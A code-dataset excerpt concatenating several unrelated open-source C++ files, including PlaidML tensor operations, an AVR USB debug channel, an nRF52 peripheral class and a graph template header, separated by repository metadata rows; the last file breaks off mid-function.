auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("scale_gradient expects 2 arguments");
}
auto I = args[0].as_tensor();
Tensor scale;
if (args[1].is_float()) {
// Cast scale to Tensor if it's given as a float
scale = Tensor{args[1].as_float()};
} else {
scale = args[1].as_tensor();
}
auto O = I; // Forward pass is NoOp
return Value{O};
}
Value sigmoid(const Value& value) {
IVLOG(1, "sigmoid");
auto args = value.as_tuple();
if (args.size() != 1) {
throw std::runtime_error("sigmoid expects 1 argument");
}
auto I = args[0].as_tensor();
auto O = 1.0 / (1.0 + exp(-I));
return Value{O};
}
Value slice(const Value& value) {
// This code avoids using max/min ops to keep start/stop values in the [-dim - 1, dim] range
// This means requesting a slice with a start/stop index outside the valid range will give bizarre behavior
IVLOG(1, "slice");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("slice expects 2 arguments");
}
auto I = args[0].as_tensor();
auto slices = args[1].as_tuple();
// Useful values and correctness checks
auto ndims = I.rank();
// First, handle the case of a scalar
if (ndims == 0) {
return Value{I};
}
if (slices.size() != ndims) {
throw std::runtime_error(
llvm::formatv("{0} slice axes provided to slice {1}-dimensional tensor", slices.size(), ndims));
}
// Initialize dims & indexes
std::vector<TensorDim> I_dims{ndims};
I.bind_dims(I_dims);
std::vector<TensorIndex> O_idxs{ndims};
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> I_idxs;
// For each axis, compute output size and formula for extracting requested values
size_t skipped_O_idxs = 0; // How many indexes are unneeded because the slice is a single integer
for (size_t i = 0; i < ndims; ++i) {
// If this "slice" is just an integer, extract that entry in this axis and continue to the next axis
if (slices[i].is_int()) {
auto idx_val = slices[i].as_int();
TensorIndex idx{idx_val};
if (idx_val < 0) {
idx = idx + I_dims[i];
}
// Do not push to O_dims -- this dim is omitted; instead, skip using the index
O_idxs.erase(O_idxs.begin() + i - skipped_O_idxs);
skipped_O_idxs++;
I_idxs.push_back(TensorIndex{idx});
continue;
}
// Parse the slice as a tuple of 3 ints or Nones
if (!slices[i].is_tuple()) {
throw std::runtime_error("Attempted to define slice with invalid type");
}
auto slice = slices[i].as_tuple();
if (slice.size() != 3) {
throw std::runtime_error(llvm::formatv("Attempted to slice with {0} entries, 3 required", slice.size()));
}
// Read slice, filling in appropriate default values where Nones appear
TensorDim start;
TensorDim stop;
int64_t step;
// Setup step first (needed to determine start/end defaults)
if (slice[2].is_none()) {
step = 1;
} else {
try {
step = slice[2].as_int();
} catch (std::runtime_error& e) {
throw std::runtime_error(
llvm::formatv("Unable to parse step of slice as int, original message: {0}", e.what()));
}
}
if (step == 0) {
throw std::runtime_error("Cannot slice with step size 0");
}
// Setup start
if (slice[0].is_none()) {
if (step > 0) {
start = TensorDim{0};
} else {
start = I_dims[i] - 1;
}
} else {
int64_t int_start;
try {
int_start = slice[0].as_int();
} catch (std::runtime_error& e) {
throw std::runtime_error(
llvm::formatv("Unable to parse start of slice as int, original message: {0}", e.what()));
}
if (int_start < 0) {
start = I_dims[i] + int_start;
} else {
start = TensorDim{int_start};
}
}
// Setup stop
if (slice[1].is_none()) {
if (step > 0) {
stop = I_dims[i];
} else {
stop = TensorDim{-1};
}
} else {
int64_t int_stop;
try {
int_stop = slice[1].as_int();
} catch (std::runtime_error& e) {
throw std::runtime_error(
llvm::formatv("Unable to parse stop of slice as int, original message: {0}", e.what()));
}
if (int_stop < 0) {
stop = I_dims[i] + int_stop;
} else {
stop = TensorDim{int_stop};
}
}
// Set output size for this axis
auto offset_to_ceil = step; // Make this a ceil division w/ this offset
if (step > 0) {
offset_to_ceil -= 1;
} else {
offset_to_ceil += 1;
}
O_dims.push_back((stop - start + offset_to_ceil) / step);
// Set index to read for this axis
I_idxs.push_back(start + step * O_idxs[i - skipped_O_idxs]);
}
// Perform the slice
Tensor O = Contraction(O_dims, O_idxs).assign(I(I_idxs));
return Value{O};
}
Value softmax(const Value& value) {
IVLOG(1, "softmax");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("softmax expects 2 arguments");
}
auto I = args[0].as_tensor();
auto raw_axis = args[1].as_int();
int64_t ndims = I.rank();
int64_t axis = normalize_axis(raw_axis, ndims, "softmax");
// Ensure the axis is the last dimension, to make the derivative code happy
bool transposed = false;
std::vector<Value> pattern(ndims); // Will be reused at the end to return to original order
if (axis != ndims - 1) {
transposed = true;
for (int64_t i = 0; i < ndims; ++i) {
if (i == axis) {
pattern[i] = Value{ndims - 1};
} else if (i == ndims - 1) {
pattern[i] = Value{axis};
} else {
pattern[i] = Value{i};
}
}
I = transpose(make_tuple(args[0], Value{pattern})).as_tensor();
axis = ndims - 1; // we've moved the softmax axis to be the last axis
}
std::vector<TensorDim> I_dims(ndims);
std::vector<TensorIndex> I_idxs(ndims);
I.bind_dims(I_dims);
// R_dims & R_idxs are the dims/idxs reduced along the specified axis; used in the inner contractions
std::vector<TensorDim> R_dims = I_dims;
std::vector<TensorIndex> R_idxs = I_idxs;
R_dims[axis] = TensorDim{1};
R_idxs[axis] = TensorIndex{0};
Tensor M = Contraction(R_dims, R_idxs).max(I(I_idxs));
auto E = exp(I - M);
Tensor N = Contraction(R_dims, R_idxs).sum(E(I_idxs));
auto O = E / N;
// If we reordered, return to original order
if (transposed) {
return transpose(make_tuple(Value{O}, Value{pattern}));
}
return Value{O};
}
Value sort(const Value& value) {
IVLOG(1, "sort");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("sort expects 3 arguments");
}
auto I = args[0].as_tensor();
auto raw_axis = args[1].as_int();
auto direction = validate<SortDirection>(args[2].as_int());
int64_t ndims = I.rank();
int64_t axis = normalize_axis(raw_axis, ndims, "sort");
std::vector<TensorDim> I_dims(ndims);
I.bind_dims(I_dims);
std::vector<Tensor> IX_dims;
for (int64_t i = 0; i < ndims; ++i) {
if (i == axis) {
IX_dims.push_back(op::unsqueeze(argsort(I, axis, direction), {ndims}));
} else {
IX_dims.push_back(op::unsqueeze(edsl::index(I_dims, i), {ndims}));
}
}
auto IX = op::concatenate(IX_dims, -1);
Tensor O = edsl::gather(I, IX).mode(GatherMode::ND);
return Value{O};
}
Value spatial_padding(const Value& value) {
IVLOG(1, "spatial_padding");
auto args = value.as_tuple();
if (args.size() != 4) {
throw std::runtime_error("spatial_padding expects 4 arguments");
}
auto I = args[0].as_tensor();
auto lo_pads = args[1].as_int_tuple();
auto hi_pads = args[2].as_int_tuple();
auto data_layout = validate<TensorLayout>(args[3].as_int());
// validate inputs
auto nonspatial_ndims = nonspatial_dims(data_layout);
auto spatial_rank = I.rank() - nonspatial_ndims;
if (spatial_rank < 1) {
throw std::runtime_error(llvm::formatv(
"Insufficient spatial rank in spatial_padding op (At least 1 spatial dim required; received {0} spatial "
"dims based on an input tensor with {1} dims with a specified layout with {2} nonspatial dims.)",
spatial_rank, I.rank(), nonspatial_ndims));
}
if (lo_pads.size() != spatial_rank) {
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in spatial_padding op (received {0} spatial dim(s) based on an "
"input tensor with {1} dims with a specified layout with {2} nonspatial dims, but received "
"lower padding for {3} spatial dims.)",
spatial_rank, I.rank(), nonspatial_ndims, lo_pads.size()));
}
if (hi_pads.size() != spatial_rank) {
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in spatial_padding op (received {0} spatial dim(s) based on an "
"input tensor with {1} dims with a specified layout with {2} nonspatial dims, but received "
"upper padding for {3} spatial dims.)",
spatial_rank, I.rank(), nonspatial_ndims, hi_pads.size()));
}
std::vector<TensorDim> I_dims;
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> I_idxs;
std::vector<TensorIndex> O_idxs;
switch (data_layout) {
case TensorLayout::GKCX: {
IVLOG(2, "Spatial padding requested for tensor with kernel-style layout.");
// Initialize dims & indexes
TensorDim G, K, C;
TensorIndex g("g");
TensorIndex k("k");
TensorIndex c("c");
std::vector<TensorDim> X(spatial_rank);
std::vector<TensorIndex> x;
for (size_t i = 0; i < spatial_rank; ++i) {
x.emplace_back(llvm::formatv("x{0}", i));
}
// Assign input dims & indexes
I_dims.push_back(G);
I_idxs.push_back(g);
I_dims.push_back(K);
I_idxs.push_back(k);
I_dims.push_back(C);
I_idxs.push_back(c);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(X[i]);
I_idxs.push_back(x[i]);
}
I.bind_dims(I_dims);
// Assign output dims & indexes
O_dims.push_back(G);
O_idxs.push_back(g);
O_dims.push_back(K);
O_idxs.push_back(k);
O_dims.push_back(C);
O_idxs.push_back(c);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(X[i] + lo_pads[i] + hi_pads[i]);
O_idxs.push_back(x[i] + lo_pads[i]);
}
} break;
case TensorLayout::KCX: {
IVLOG(2, "Spatial padding requested for tensor with kernel-style layout.");
// Initialize dims & indexes
TensorDim K, C;
TensorIndex k("k");
TensorIndex c("c");
std::vector<TensorDim> X(spatial_rank);
std::vector<TensorIndex> x;
for (size_t i = 0; i < spatial_rank; ++i) {
x.emplace_back(llvm::formatv("x{0}", i));
}
// Assign input dims & indexes
I_dims.push_back(K);
I_idxs.push_back(k);
I_dims.push_back(C);
I_idxs.push_back(c);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(X[i]);
I_idxs.push_back(x[i]);
}
I.bind_dims(I_dims);
// Assign output dims & indexes
O_dims.push_back(K);
O_idxs.push_back(k);
O_dims.push_back(C);
O_idxs.push_back(c);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(X[i] + lo_pads[i] + hi_pads[i]);
O_idxs.push_back(x[i] + lo_pads[i]);
}
} break;
case TensorLayout::NCX: {
TensorDim N, C;
TensorIndex n("n");
TensorIndex c("c");
std::vector<TensorDim> X(spatial_rank);
std::vector<TensorIndex> x;
for (size_t i = 0; i < spatial_rank; ++i) {
x.emplace_back(llvm::formatv("x{0}", i));
}
// Assign input dims & indexes
I_dims.push_back(N);
I_idxs.push_back(n);
I_dims.push_back(C);
I_idxs.push_back(c);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(X[i]);
I_idxs.push_back(x[i]);
}
I.bind_dims(I_dims);
// Assign output dims & indexes
O_dims.push_back(N);
O_idxs.push_back(n);
O_dims.push_back(C);
O_idxs.push_back(c);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(X[i] + lo_pads[i] + hi_pads[i]);
O_idxs.push_back(x[i] + lo_pads[i]);
}
} break;
case TensorLayout::NXC: {
TensorDim N, C;
TensorIndex n("n");
TensorIndex c("c");
std::vector<TensorDim> X(spatial_rank);
std::vector<TensorIndex> x;
for (size_t i = 0; i < spatial_rank; ++i) {
x.emplace_back(llvm::formatv("x{0}", i));
}
// Assign input dims & indexes
I_dims.push_back(N);
I_idxs.push_back(n);
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(X[i]);
I_idxs.push_back(x[i]);
}
I_dims.push_back(C);
I_idxs.push_back(c);
I.bind_dims(I_dims);
// Assign output dims & indexes
O_dims.push_back(N);
O_idxs.push_back(n);
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(X[i] + lo_pads[i] + hi_pads[i]);
O_idxs.push_back(x[i] + lo_pads[i]);
}
O_dims.push_back(C);
O_idxs.push_back(c);
} break;
case TensorLayout::XCK: {
IVLOG(2, "Spatial padding requested for tensor with kernel-style layout.");
TensorDim C, K;
TensorIndex c("c");
TensorIndex k("k");
std::vector<TensorDim> X(spatial_rank);
std::vector<TensorIndex> x;
for (size_t i = 0; i < spatial_rank; ++i) {
x.emplace_back(llvm::formatv("x{0}", i));
}
// Assign input dims & indexes
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(X[i]);
I_idxs.push_back(x[i]);
}
I_dims.push_back(C);
I_idxs.push_back(c);
I_dims.push_back(K);
I_idxs.push_back(k);
I.bind_dims(I_dims);
// Assign output dims & indexes
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(X[i] + lo_pads[i] + hi_pads[i]);
O_idxs.push_back(x[i] + lo_pads[i]);
}
O_dims.push_back(C);
O_idxs.push_back(c);
O_dims.push_back(K);
O_idxs.push_back(k);
} break;
case TensorLayout::XGCK: {
IVLOG(2, "Spatial padding requested for tensor with kernel-style layout.");
TensorDim G, C, K;
TensorIndex g("g");
TensorIndex c("c");
TensorIndex k("k");
std::vector<TensorDim> X(spatial_rank);
std::vector<TensorIndex> x;
for (size_t i = 0; i < spatial_rank; ++i) {
x.emplace_back(llvm::formatv("x{0}", i));
}
// Assign input dims & indexes
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(X[i]);
I_idxs.push_back(x[i]);
}
I_dims.push_back(G);
I_idxs.push_back(g);
I_dims.push_back(C);
I_idxs.push_back(c);
I_dims.push_back(K);
I_idxs.push_back(k);
I.bind_dims(I_dims);
// Assign output dims & indexes
for (size_t i = 0; i < spatial_rank; ++i) {
O_dims.push_back(X[i] + lo_pads[i] + hi_pads[i]);
O_idxs.push_back(x[i] + lo_pads[i]);
}
O_dims.push_back(G);
O_idxs.push_back(g);
O_dims.push_back(C);
O_idxs.push_back(c);
O_dims.push_back(K);
O_idxs.push_back(k);
} break;
default:
throw std::runtime_error("Unrecognized TensorLayout in spatial_padding");
}
Tensor O = Contraction(O_dims, O_idxs).assign(I(I_idxs));
return Value{O};
}
Value square(const Value& value) {
IVLOG(1, "square");
auto x = value.as_tensor();
return Value(x * x);
}
Value squeeze(const Value& value) {
IVLOG(1, "squeeze");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("Squeeze expects 2 arguments");
}
// argument 0: tensor to be squeezed
auto I = args[0].as_tensor();
auto ndims = I.rank();
std::vector<TensorDim> I_dims(ndims);
std::vector<TensorDim> O_dims;
I.bind_dims(I_dims);
// argument 1: axes to squeeze upon
std::vector<int64_t> raw_axes;
if (args[1].is_int()) {
raw_axes.push_back(args[1].as_int());
} else {
raw_axes = args[1].as_int_tuple();
}
std::set<size_t> axes;
for (auto& raw_axis : raw_axes) {
axes.insert(normalize_axis(raw_axis, ndims, "squeeze"));
}
for (size_t i = 0; i < ndims; ++i) {
if (!axes.count(i)) {
O_dims.push_back(I_dims[i]);
}
}
std::vector<Value> O_dims_values;
for (const TensorDim& dim : O_dims) {
O_dims_values.push_back(Value{dim});
}
return reshape(make_tuple(Value{I}, Value{O_dims_values}));
}
Value sum(const Value& value) {
IVLOG(1, "sum");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("sum expects 3 arguments");
}
auto I = args[0].as_tensor();
if (I.rank() == 0) {
return Value{I};
}
// TODO: Move this commented block to Keras?
// if (I_shape.dtype() == DType::BOOLEAN) {
// I = cast(I, floatx());
// }
auto axes = args[1];
if (axes.is_tuple() && axes.as_tuple().empty()) {
return Value{I};
}
auto keepdims = args[2].as_bool();
AggregationAxes agg(I.rank(), axes, keepdims);
I.bind_dims(agg.src_dims);
Tensor O = Contraction(agg.dst_dims, agg.dst_idxs).sum(I(agg.src_idxs));
return Value{O};
}
Value tile(const Value& value) {
IVLOG(1, "tile");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("Tile expects 2 arguments");
}
// Read arguments
auto I = args[0].as_tensor();
auto reps = args[1].as_int_tuple();
// Validate args
auto ndims = I.rank();
if (reps.empty()) {
throw std::runtime_error("No tiling factors provided to tile operation");
}
while (reps.size() < ndims) {
// Numpy style: extend to full rank with 1s
reps.push_back(1);
}
if (reps.size() > ndims) {
throw std::runtime_error("More tiling factors provided to tile operation than tensor dimensions");
}
std::vector<TensorDim> I_dims(ndims);
std::vector<TensorIndex> I_idxs(ndims);
I.bind_dims(I_dims);
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> O_idxs;
for (size_t i = 0; i < ndims; ++i) {
O_dims.push_back(I_dims[i] * reps[i]);
O_idxs.push_back(TensorIndex() * I_dims[i] + I_idxs[i]);
}
Tensor O = Contraction(O_dims, O_idxs).assign(I(I_idxs));
return Value{O};
}
Value transpose(const Value& value) {
// Reorders dimensions so dim i of the output is dim pattern[i] of the input
IVLOG(1, "transpose");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("Transpose expects 2 arguments");
}
// Read arguments
auto I = args[0].as_tensor();
auto pattern_val = args[1];
// Normalize pattern value
auto ndims = I.rank();
std::vector<int64_t> pattern;
if (pattern_val.is_none()) {
// Default is to reverse the dimensions
for (size_t i = 0; i < ndims; ++i) {
pattern.push_back(ndims - 1 - i);
}
} else if (pattern_val.is_tuple()) {
pattern = pattern_val.as_int_tuple();
} else {
throw std::runtime_error("Transpose 2nd argument must be none or integer tuple");
}
// Ensure pattern is sane
for (const auto& i : pattern) {
if (i < 0 || ndims <= static_cast<size_t>(i)) {
throw std::runtime_error(
llvm::formatv("Transpose of nonexistent axis {0} requested (input has {1} dimensions)", i, ndims));
}
}
// Setup inputs and outputs
std::vector<TensorDim> I_dims(ndims);
std::vector<TensorIndex> I_idxs(ndims);
I.bind_dims(I_dims);
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> O_idxs;
for (size_t i = 0; i < ndims; ++i) {
O_dims.push_back(I_dims[pattern[i]]);
O_idxs.push_back(I_idxs[pattern[i]]);
}
Tensor O = Contraction(O_dims, O_idxs).assign(I(I_idxs));
return Value{O};
}
Value unsqueeze(const Value& value) {
// Read arguments
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error(llvm::formatv("PlaidML unsqueeze op expects 2 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
auto ndims = I.rank();
std::vector<int64_t> raw_axes;
if (args[1].is_int()) {
raw_axes.push_back(args[1].as_int());
} else {
raw_axes = args[1].as_int_tuple();
}
std::set<size_t> axes;
for (auto& raw_axis : raw_axes) {
axes.insert(normalize_axis(raw_axis, ndims + raw_axes.size(), "unsqueeze"));
}
std::vector<TensorDim> I_dims(ndims);
std::vector<TensorIndex> I_idxs;
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> O_idxs;
I.bind_dims(I_dims);
size_t src_loc = 0;
size_t new_rank = ndims + axes.size();
for (size_t i = 0; i < new_rank; i++) {
if (axes.count(i)) {
O_dims.push_back(edsl::TensorDim(1));
O_idxs.emplace_back(llvm::formatv("a{0}", i));
} else {
I_idxs.emplace_back(llvm::formatv("n{0}", i));
O_dims.push_back(I_dims[src_loc]);
O_idxs.push_back(I_idxs[src_loc]);
src_loc++;
}
}
if (src_loc != I.rank()) {
throw std::runtime_error(llvm::formatv("Unsqueeze did not replicate entirety of input into output"));
}
Tensor O = Contraction(O_dims, O_idxs).assign(I(I_idxs));
return Value{O};
}
Value variance(const Value& value) {
// This computes the *uncorrected* sample variance (i.e. denominator = n
// rather than = n-1) to match tensorflow
IVLOG(1, "variance");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("Variance expects 3 arguments");
}
// Read arguments
auto I = args[0].as_tensor();
auto axes = args[1];
auto keepdims = args[2].as_bool();
IVLOG(2, "I: " << I.str());
IVLOG(2, "axes: " << axes);
IVLOG(2, "keep_dims: " << keepdims);
// Handle trivial cases
if (I.rank() == 0) {
// TODO: Adjust for dtype?
return Value{0};
}
if (axes.is_tuple() && axes.as_tuple().empty()) {
throw std::runtime_error("Variance expects nonempty axis list");
}
// TODO: Move this commented block to Keras?
// if (I.shape().dtype() == DType::BOOLEAN) {
// I = cast(I, floatx());
// }
auto Mean = mean(edsl::make_tuple(I, axes, true)).as_tensor();
AggregationAxes agg(I.rank(), axes, keepdims);
I.bind_dims(agg.src_dims);
auto SquaredDifference = (I - Mean) * (I - Mean);
Tensor SumSqDiff = Contraction(agg.dst_dims, agg.dst_idxs).sum(SquaredDifference(agg.src_idxs));
auto denom = Tensor{1};
for (const auto& axis : agg.axes) {
denom = denom * agg.src_dims.at(axis);
}
return Value{SumSqDiff / denom};
}
void RegisterOps() {
auto registry = OperationRegistry::Instance();
registry->Register("abs", abs);
registry->Register("all", all);
registry->Register("any", any);
registry->Register("argmax", argmax);
registry->Register("binary_crossentropy", binary_crossentropy);
registry->Register("broadcast", broadcast);
registry->Register("clip", clip);
registry->Register("concatenate", concatenate);
registry->Register("convolution", convolution);
registry->Register("cumprod", cumprod);
registry->Register("cumsum", cumsum);
registry->Register("dot", dot);
registry->Register("elu", elu);
registry->Register("explicit_padding", explicit_padding);
registry->Register("flip", flip);
registry->Register("hard_sigmoid", hard_sigmoid);
registry->Register("image_resize", image_resize);
registry->Register("lrn", lrn);
registry->Register("max", max);
registry->Register("maximum", maximum);
registry->Register("mean", mean);
registry->Register("min", min);
registry->Register("minimum", minimum);
registry->Register("mvn", mvn);
registry->Register("l2norm", l2norm);
registry->Register("pool", pool);
registry->Register("prod", prod);
registry->Register("relu", relu);
registry->Register("reorg_yolo", reorg_yolo);
registry->Register("repeat", repeat);
registry->Register("reshape", reshape);
registry->Register("scale_gradient", scale_gradient);
registry->Register("sigmoid", sigmoid);
registry->Register("slice", slice);
registry->Register("softmax", softmax);
registry->Register("sort", sort);
registry->Register("spatial_padding", spatial_padding);
registry->Register("square", square);
registry->Register("squeeze", squeeze);
registry->Register("sum", sum);
registry->Register("tile", tile);
registry->Register("transpose", transpose);
registry->Register("unsqueeze", unsqueeze);
registry->Register("variance", variance);
}
} // namespace plaidml::op::lib
| 34.19072 | 120 | 0.627464 | hfp |
4eca32c8a9678118e9cc481bb4dce6b47f5b8f90 | 301 | hpp | C++ | includes/muriqui.hpp | xmuriqui/muriqui | ff1492c70e297077c9450ef9175e5a80c6627140 | [
"MIT"
] | 5 | 2021-12-04T04:42:32.000Z | 2022-01-21T13:23:47.000Z | includes/muriqui.hpp | xmuriqui/muriqui | ff1492c70e297077c9450ef9175e5a80c6627140 | [
"MIT"
] | null | null | null | includes/muriqui.hpp | xmuriqui/muriqui | ff1492c70e297077c9450ef9175e5a80c6627140 | [
"MIT"
] | null | null | null | /*
* muriqui.hpp
*
* Created on: 27/08/2013
* Author: yo
*/
#ifndef MURIQUI_HPP_
#define MURIQUI_HPP_
#include "MRQ_constants.hpp"
//#include "SPM_SparseMatrix.hpp"
#include "MRQ_dataStructures.hpp"
#include "MRQ_algClasses.hpp"
namespace muriqui{
}
#endif /* MURIQUI_HPP_ */
| 10.033333 | 33 | 0.681063 | xmuriqui |
4ecdb86aff0e3a570dbf6a8684aebc9ce4d020ae | 2,619 | cpp | C++ | WaxB_Adb2Usb/usb_debug_channel.cpp | charliebruce/waxbee | 2b764eab99793f2a9a973ed6ea432c9455ba552b | [
"MIT"
] | 37 | 2016-03-17T15:40:50.000Z | 2022-01-11T23:49:48.000Z | waxbee/usb_debug_channel.cpp | popbee/waxbee | f78e0e649e63d655317a199743ec8cf36fe242fb | [
"MIT"
] | 5 | 2016-05-07T19:22:14.000Z | 2021-11-02T08:39:05.000Z | WaxB_Adb2Usb/usb_debug_channel.cpp | charliebruce/waxbee | 2b764eab99793f2a9a973ed6ea432c9455ba552b | [
"MIT"
] | 8 | 2015-06-18T03:29:50.000Z | 2020-03-15T07:31:55.000Z | /*
* usb_debug_channel.cpp
*
* Created on: 2010-11-14
* Author: Bernard
*/
#include "featureinclusion.h"
#include <avr/io.h>
#include <avr/interrupt.h>
#include "usb.h"
#include "led.h"
#include "usb_debug_channel.h"
#ifdef DEBUG_SUPPORT
// the time remaining before we transmit any partially full
// packet, or send a zero length packet.
static volatile uint8_t debug_flush_timer = 0;
namespace usb_debug
{
// transmit a character. 0 returned on success, -1 on error
int8_t putchar(uint8_t c)
{
static uint8_t previous_timeout = 0;
uint8_t timeout, intr_state;
// if we're not online (enumerated and configured), error
if (!usb_configured())
return -1;
// interrupts are disabled so these functions can be
// used from the main program or interrupt context,
// even both in the same program!
intr_state = SREG;
cli();
UENUM = DEBUG_TX_ENDPOINT;
// if we gave up due to timeout before, don't wait again
if (previous_timeout)
{
if (!(UEINTX & (1 << RWAL)))
{
SREG = intr_state;
return -1;
}
previous_timeout = 0;
}
// wait for the FIFO to be ready to accept data
timeout = UDFNUML + 4;
while (1)
{
// are we ready to transmit?
if (UEINTX & (1 << RWAL))
break;
SREG = intr_state;
// have we waited too long?
if (UDFNUML == timeout)
{
previous_timeout = 1;
return -1;
}
// has the USB gone offline?
if (!usb_configured())
return -1;
// get ready to try checking again
intr_state = SREG;
cli();
UENUM = DEBUG_TX_ENDPOINT;
}
//------------------------------
// write the byte into the FIFO
//------------------------------
UEDATX = c;
// if this completed a packet, transmit it now!
if (!(UEINTX & (1 << RWAL)))
{
UEINTX = 0x3A;
debug_flush_timer = 0;
}
else
{
debug_flush_timer = 2;
}
SREG = intr_state;
return 0;
}
static inline void flush()
{
UENUM = DEBUG_TX_ENDPOINT;
while ((UEINTX & (1 << RWAL)))
{
UEDATX = 0;
}
UEINTX = 0x3A;
}
// immediately transmit any buffered output.
void flush_output(void)
{
uint8_t intr_state;
intr_state = SREG;
cli();
if (debug_flush_timer)
{
flush();
debug_flush_timer = 0;
}
SREG = intr_state;
}
// to be called within the USB_GEN interrupt (if configured, etc)
void start_of_frame_interrupt()
{
uint8_t t = debug_flush_timer;
if (t)
{
debug_flush_timer = --t;
if (!t)
{
flush();
}
}
}
}
#endif
| 18.978261 | 67 | 0.583811 | charliebruce |
4ecf77d1f7469b7049cfc6fb073f085f4b6b274e | 1,518 | hpp | C++ | src/nrf52/peripheral.hpp | Testrigor123/cortex-demos | 1163db7f626de1420d5af4557de66713709ed136 | [
"Apache-2.0"
] | null | null | null | src/nrf52/peripheral.hpp | Testrigor123/cortex-demos | 1163db7f626de1420d5af4557de66713709ed136 | [
"Apache-2.0"
] | null | null | null | src/nrf52/peripheral.hpp | Testrigor123/cortex-demos | 1163db7f626de1420d5af4557de66713709ed136 | [
"Apache-2.0"
] | null | null | null | /*******************************************************************************
Copyright 2018 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*******************************************************************************/
#pragma once
#include "memio.h"
#include "driver/peripheral.hpp"
namespace nrf52 {
class Peripheral : virtual public driver::Peripheral {
public:
Peripheral() {};
void trigger_task(int task) {
raw_write32(base_ + task * 4, 1);
}
void busy_wait_and_clear_event(int evt) {
while (!raw_read32(base_ + kEventsOffset + evt * 4));
clear_event(evt);
}
private:
void clear_event(int evt) override {
raw_write32(base_ + kEventsOffset + evt * 4, 0);
}
bool is_event_active(int evt) override {
return raw_read32(base_ + kEventsOffset + evt * 4);
}
static constexpr auto kEventsOffset = 0x100;
};
} // namespace nrf52
| 30.979592 | 80 | 0.583004 | Testrigor123 |
4ed34c940e5c7e3490082c0ad673dc4d397684d4 | 15,411 | hpp | C++ | assets/graph.hpp | oitl-5ab/OITL | 23f20d32a9ba3eecfb20601dbc464c06981be2a9 | [
"MIT"
] | 3 | 2020-03-07T13:29:21.000Z | 2020-09-16T11:16:27.000Z | assets/graph.hpp | oitl-5ab/OITL | 23f20d32a9ba3eecfb20601dbc464c06981be2a9 | [
"MIT"
] | 3 | 2020-03-07T13:39:08.000Z | 2020-09-25T16:20:43.000Z | assets/graph.hpp | oitl-5ab/OITL | 23f20d32a9ba3eecfb20601dbc464c06981be2a9 | [
"MIT"
] | 1 | 2020-09-16T11:16:38.000Z | 2020-09-16T11:16:38.000Z | #ifndef OITL_GRAPH_HPP
#define OITL_GARPH_HPP 1
#include "basic_calc.hpp"
#include "disjoint_set.hpp"
#if __cplusplus < 201103L
#include <list>
#else
#include <forward_list>
#endif
#include <stack>
#include <vector>
namespace oitl
{
typedef enum { directed = 1, undirected = 2 } is_directed;
#if __cplusplus >= 201103L
template<typename T>
using node_chain = std::forward_list<T>;
#else
#define node_chain std::list
#endif
template<is_directed dir, typename val_t = long long>
class dynamic_graph;
template<int n, is_directed dir, typename val_t = long long>
class graph;
template<int n, int m, is_directed dir, typename val_t = long long>
class static_graph;
namespace __oitl_builtin
{
template<typename T>
class __node_t
{
private:
__id_type __des;
T __val;
public:
__node_t(__id_type __d = __id_type(), T __v = T()) : __des(__d), __val(__v) { }
__id_type dest() const { return __des; }
T value() const { return __val; }
};
template<typename __graph_type>
bool __dfs(const __graph_type *__g, int __s, int __t, std::vector<bool>& __vis)
{
typedef typename __graph_type::iterator __it;
if (__s == __t)
return true;
for (__it __p = __g->begin(__s); __p != __g->end(__s); ++__p)
if (!__vis[__p->dest()])
{
__vis[__p->dest()] = true;
if (__dfs(__g, __p->dest(), __t, __vis))
return true;
__vis[__p->dest()] = false;
}
return false;
}
template<typename __graph_type>
void __dfs2(const __graph_type* __g, __id_type __s, std::vector<bool>& __vis)
{
typedef typename __graph_type::iterator __it;
for (__it __p = __g->begin(__s); __p != __g->end(__s); ++__p)
if (!__vis[__p->dest()])
{
__vis[__p->dest()] = true;
__dfs2(__g, __p->dest(), __vis);
}
}
template<typename __graph_type>
void __tarjan(__graph_type *__g, int __s, int& __ind, int& __ret, std::vector<int>& __dfn
, std::vector<int>& __low, std::vector<bool>& __in_stack, std::stack<int>& __sta)
{
typedef typename __graph_type::iterator iterator;
__dfn[__s] = __low[__s] = __ind;
++__ind;
__in_stack[__s] = true;
__sta.push(__s);
for (iterator __p = __g->begin(__s); __p != __g.end(__s); ++__p)
{
if (__dfn[__p->dest()] == -1)
__tarjan(__g, __p->dest(), __ind, __ret, __dfn, __low, __in_stack, __sta);
else if (!__in_stack[__p->dest()])
continue;
if (__low[__p->dest()] < __low[__s])
__low[__s] = __low[__p->dest()];
}
if (__dfn[__s] == __low[__s])
{
++__ret;
do {
__s = __sta.top();
